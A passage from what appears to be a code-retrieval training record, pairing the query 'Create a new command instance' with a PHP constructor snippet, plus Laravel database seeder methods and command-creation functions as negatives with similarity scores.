$faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}", "public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }", "public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }", "public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }", "public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }", "public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }", "public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }", "public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }", "public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }", "public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }", "public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }", "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; $i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }", "public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }", "public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }", "public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }", "public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}", "public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }", "public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }", "public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }", "public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }", "public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }", "public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }", "public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }", "public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }", "public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }" ]
[ "0.8013876", "0.79804534", "0.7976992", "0.79542726", "0.79511505", "0.7949612", "0.794459", "0.7942486", "0.7938189", "0.79368967", "0.79337025", "0.78924936", "0.78811055", "0.78790957", "0.78787595", "0.787547", "0.7871811", "0.78701615", "0.7851422", "0.7850352", "0.7841468", "0.7834583", "0.7827792", "0.7819104", "0.78088796", "0.7802872", "0.7802348", "0.78006834", "0.77989215", "0.7795819", "0.77903426", "0.77884805", "0.77862066", "0.7778816", "0.7777486", "0.7765202", "0.7762492", "0.77623445", "0.77621746", "0.7761383", "0.77606887", "0.77596676", "0.7757001", "0.7753607", "0.7749522", "0.7749292", "0.77466977", "0.7729947", "0.77289546", "0.772796", "0.77167094", "0.7714503", "0.77140456", "0.77132195", "0.771243", "0.77122366", "0.7711113", "0.77109736", "0.7710777", "0.7710086", "0.7705484", "0.770464", "0.7704354", "0.7704061", "0.77027386", "0.77020216", "0.77008796", "0.7698617", "0.76985973", "0.76973504", "0.7696405", "0.7694293", "0.7692694", "0.7691264", "0.7690576", "0.76882726", "0.7687433", "0.7686844", "0.7686498", "0.7685065", "0.7683827", "0.7679184", "0.7678287", "0.76776296", "0.76767945", "0.76726556", "0.76708084", "0.76690495", "0.766872", "0.76686716", "0.7666299", "0.76625943", "0.7662227", "0.76613766", "0.7659881", "0.7656644", "0.76539344", "0.76535016", "0.7652375", "0.7652313", "0.7652022" ]
0.0
-1
Create a new command instance.
public function __construct() { parent::__construct(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function newCommand() {\n return newinstance(Command::class, [], '{\n public static $wasRun= false;\n public function __construct() { self::$wasRun= false; }\n public function run() { self::$wasRun= true; }\n public function wasRun() { return self::$wasRun; }\n }');\n }", "public function createCommand()\r\n\t{\r\n\t\t$obj = new DbCommand($this,$this->dbms);\r\n\t\treturn $obj;\r\n\t}", "public function createCommand() {\n\t\treturn new UnboxedCommand( $this );\n\t}", "protected function createCommand($args) {\n $command = new Command();\n $command->id = ifseta($args, 'id');\n $command->name = ifseta($args, 'name');\n $command->url = ifseta($args, 'url');\n $command->description = ifseta($args, 'description');\n $command->uses = ifseta($args, 'uses');\n $command->creationDate = ifseta($args, 'creation_date');\n $command->lastUseDate = ifseta($args, 'last_use_date');\n $command->goldenEggDate = ifseta($args, 'golden_egg_date');\n return $command;\n }", "static public function create($cmd = null, $args = null)\n {\n return new self($cmd, $args);\n }", "public function createCommand($kernel, string $commandName = null, string $commandDescription = null): Command;", "public function makeCommand() \n {\n if($this->CrontabCommandObject === NULL)\n {\n $this->CrontabCommandObject = new \\root\\library\\Crontab\\CrontabCommand\\CrontabCommand();\n }\n \n return $this->CrontabCommandObject;\n }", "public function testInstantiation()\n {\n $command = new CreateRule('dummy name');\n }", "public function command(Command $command);", "public function __construct($command)\n {\n $this->command = $command;\n }", "public static function create(array $data)\n {\n $command = new static();\n $command->exchangeArray($data);\n return $command;\n }", "protected function getCreateCommand()\n {\n $command = new IndexCreateCommand();\n $command->setContainer($this->getContainer());\n\n return $command;\n }", "public function createCommand($string = '')\n {\n return $this->createStringable($string);\n }", "public function createCommand($type) {\r\n $command = $this->xml->createElement('command');\r\n $command->setAttribute('xsi:type', $type);\r\n $command->setAttribute('xmlns', '');\r\n $this->xmlSchema($command);\r\n return $command;\r\n }", "public function __construct()\n {\n // We will go ahead and set the name, description, and parameters on console\n // commands just to make things a little easier on the developer. This is\n // so they don't have to all be manually specified in the constructors.\n if (isset($this->signature)) {\n $this->configureUsingFluentDefinition();\n } else {\n parent::__construct($this->name);\n }\n\n // Once we have constructed the command, we'll set the description and other\n // related properties of the command. If a signature wasn't used to build\n // the command we'll set the arguments and the options on this command.\n $this->setDescription((string) $this->description);\n\n $this->setHelp((string) $this->help);\n\n $this->setHidden($this->isHidden());\n\n if (! isset($this->signature)) {\n $this->specifyParameters();\n }\n }", "public function make(string $name, PreprocessorInterface $preprocessor = null): CommandInterface;", "private function _getCommandByClassName($className)\n {\n return new $className;\n }", "public function newCommand($regex, $callable) {\n $cmd = new Command();\n $cmd->regex = $regex;\n $cmd->callable = $callable;\n return $this->addCommand($cmd);\n }", "public static function create($commandID, ...$args)\n {\n $arguments = func_get_args();\n\n return new static(array_shift($arguments), $arguments);\n }", "private function __construct($command = null)\n {\n $this->command = $command;\n }", "public static function factory(string $command, string $before = '', string $after = ''): self\n {\n return new self($command, $before, $after);\n }", "public function getCommand() {}", "protected function buildCommand()\n {\n $command = new Command(\\Tivie\\Command\\ESCAPE);\n $command\n ->chdir(realpath($this->repoDir))\n ->setCommand($this->gitDir)\n ->addArgument(new Argument('tag', null, null, false))\n ->addArgument(new Argument($this->tag, null, null, true));\n\n return $command;\n }", "public function testCanBeInstantiated()\n {\n $command = $this->createInstance();\n $this->assertInstanceOf('\\\\Dhii\\\\ShellInterop\\\\CommandInterface', $command, 'Command must be an interoperable command');\n $this->assertInstanceOf('\\\\Dhii\\\\ShellCommandInterop\\\\ConfigurableCommandInterface', $command, 'Command must be a configurable command');\n $this->assertInstanceOf('\\\\Dhii\\\\ShellCommandInterop\\\\MutableCommandInterface', $command, 'Command must be a mutable command');\n }", "public function getCommand();", "protected function createCommand($name, array $parameters = [])\n {\n return new Fluent(\n array_merge(\n compact('name'),\n $parameters)\n );\n }", "public function testCanPassCommandStringToConstructor()\n {\n $command = new Command('/bin/ls -l');\n\n $this->assertEquals('/bin/ls -l', $command->getExecCommand());\n }", "public function makeCommandInstanceByType(...$args): CommandInterface\n {\n $commandType = array_shift($args);\n\n switch ($commandType) {\n case self::PROGRAM_READ_MODEL_FETCH_ONE_COMMAND:\n return $this->makeFetchOneCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_FIND_COMMAND:\n return $this->makeFindCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_FIND_LITE_COMMAND:\n return $this->makeFindLiteCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_CREATE_TASK_COMMAND:\n return $this->makeItemCreateTaskCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_CREATE_COMMAND:\n return $this->makeItemCreateCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_UPDATE_TASK_COMMAND:\n return $this->makeItemUpdateTaskCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_UPDATE_COMMAND:\n return $this->makeItemUpdateCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_DELETE_TASK_COMMAND:\n return $this->makeItemDeleteTaskCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_DELETE_COMMAND:\n return $this->makeItemDeleteCommand(...$args);\n\n case self::PROGRAM_READ_MODEL_ADD_ID_COMMAND:\n return $this->makeItemAddIdCommand(...$args);\n\n default:\n throw new FactoryException(sprintf('Command bus for type `%s` not found!', (string) $commandType));\n }\n }", "public function __construct($cmd)\n {\n $this->cmd = $cmd;\n }", "public function getCommand()\n {\n }", "public function command($class)\n {\n $runnable = $this->resolveClass($class);\n\n if ( ! $runnable instanceof Command) {\n throw new InvalidArgumentException(get_class($runnable).' must be an instance of '.Command::class.'.');\n }\n\n $command = $runnable;\n\n if ($runnable instanceof Taggable) {\n $command = new Cached($command, $this);\n }\n\n if ($runnable instanceof Transactional) {\n $command = new Transaction($command, $this, $this->makeFromContainer(ConnectionInterface::class));\n }\n\n if ($runnable instanceof Eventable) {\n $command = new Evented($command, $this);\n }\n\n return $this->newBuilder($command);\n }", "protected function createCommandFactory(): CommandFactory\n {\n return new CommandFactory([\n 'CLOSE' => Command\\CLOSE::class,\n ]);\n }", "public static function register() {\n\n if ( !defined( 'WP_CLI' ) || !WP_CLI ) {\n return;\n }\n \n $instance = new static;\n if(empty( $instance->namespace )) {\n throw new \\Exception(\"Command namespace not defined\", 1);\n \n }\n\t\t\\WP_CLI::add_command( $instance->namespace, $instance, $instance->args ?? null );\n\t}", "public function addCommand($command);", "public function add(Command $command);", "abstract protected function getCommand();", "public function createCommand()\r\n\t{\r\n\t\t//start the string\r\n\t\t$command = '';\r\n\t\t\r\n\t\t//add the java command or the path to java\r\n\t\t$command .= $this->java_path;\r\n\t\t\r\n\t\t//add the class path\r\n\t\t$command .= ' -cp \"'. $this->stanford_path . $this->seperator . '*\" ';\r\n\t\t\r\n\t\t//add options\r\n\t\t$options = implode(' ', $this->java_options);\r\n\t\t$command .= '-'.$options;\r\n\t\t\r\n\t\t//add the call to the pipeline object\r\n\t\t$command .= ' edu.stanford.nlp.pipeline.StanfordCoreNLP ';\r\n\r\n\t\t//add the annotators\r\n\t\t$command .= '-annotators '. $this->listAnnotators();\r\n\t\t\r\n\t\t//add the input and output directors\r\n\t\t$command .= ' -file '. $this->tmp_file . ' -outputDirectory '. $this->tmp_path;\r\n\t\t\r\n\t\t//this is for testing purposes\r\n\t\t//$command .= ' -file '. $this->tmp_path .'\\\\nlp3F25.tmp' . ' -outputDirectory '. $this->tmp_path;\r\n\t\t\r\n\t\t//if using regexner add this to the command string\r\n\t\tif($this->annotators['regexner'] === true)\r\n\t\t{\r\n\t\t\t$command .=' -regexner.mapping '. $this->regexner_path . $this->seperator . $this->regexner_file;\r\n\t\t}\r\n\t\t\r\n\t\t\r\n\t\treturn $command;\r\n\t}", "protected function createCommand(string $name, array $parameters = []): Fluent\n {\n return new Fluent(array_merge(compact('name'), $parameters));\n }", "public function __construct()\n {\n parent::__construct(static::NAME, static::VERSION);\n $this->add(new DefaultCommand());\n }", "public function __construct()\n {\n parent::__construct();\n\n $this->command_name = config(\"custom-commands.command_name\");\n\n parent::__construct($this->signature = $this->command_name);\n\n $this->commands = (array) config(\"custom-commands.commands\");\n \n $this->table = config(\"custom-commands.table\");\n\n $this->row = config(\"custom-commands.row\");\n\n $this->changeEnv = (boolean) config(\"custom-commands.change_env\");\n\n }", "protected function createCommandFile()\n {\n $command_file_full_path = $this->command_dir_path . DIRECTORY_SEPARATOR . $this->arg->getCommandFileName();\n\n // Check if the command already exists\n if (file_exists($command_file_full_path)) {\n throw new Exception('Command already exists.');\n }\n\n // Create the file for the new command\n $command_file = fopen($command_file_full_path, 'w');\n\n // TODO: Create Script Generator to generate the PHP scripts for the new command.\n\n fclose($command_file);\n\n $this->console->getOutput()->println('File created at: ' . $command_file_full_path);\n $this->console->getOutput()->success('Command ' . $this->arg->getSignature() . ' created successfully.');\n }", "public static function create() {}", "public static function create() {}", "public static function create() {}", "public static function create(InteropContainer $container)\n {\n $middleware = $container->get('cmd.middleware');\n return new CommandBusFactory($middleware);\n }", "private function createCli() {\n $this->cli = new Cli();\n $this->commands = $this->commandParser->getAllCommands();\n\n foreach ($this->commands as $command) {\n if ($command->isDefault()) {\n $this->cli->command(\"*\");\n foreach ($command->getOptions() as $option) {\n $this->cli->opt($option->getName(), $option->getDescription(), $option->isRequired(), $option->getType());\n }\n foreach ($command->getArguments() as $argument) {\n if (!$argument->isVariadic())\n $this->cli->arg($argument->getName(), $argument->getDescription(), $argument->isRequired());\n }\n }\n if ($command->getName() != \"\") {\n $this->cli->command($command->getName())->description($command->getDescription());\n foreach ($command->getOptions() as $option) {\n $this->cli->opt($option->getName(), $option->getDescription(), $option->isRequired(), $option->getType());\n }\n foreach ($command->getArguments() as $argument) {\n if (!$argument->isVariadic())\n $this->cli->arg($argument->getName(), $argument->getDescription(), $argument->isRequired());\n }\n }\n }\n\n\n }", "public function testInstantiation()\n {\n $this->assertInstanceOf('Contao\\ManagerBundle\\Command\\InstallWebDirCommand', $this->command);\n }", "public function command(string $command): self\n {\n $this->addCommands[] = $command;\n\n return $this;\n }", "public function create() {}", "protected function createProcess($cmd)\n {\n return new Process(explode(' ', $cmd));\n }", "public function create(){}", "protected function getCommandFactory(): Command\\Factory\n {\n return new Command\\RedisFactory();\n }", "public function 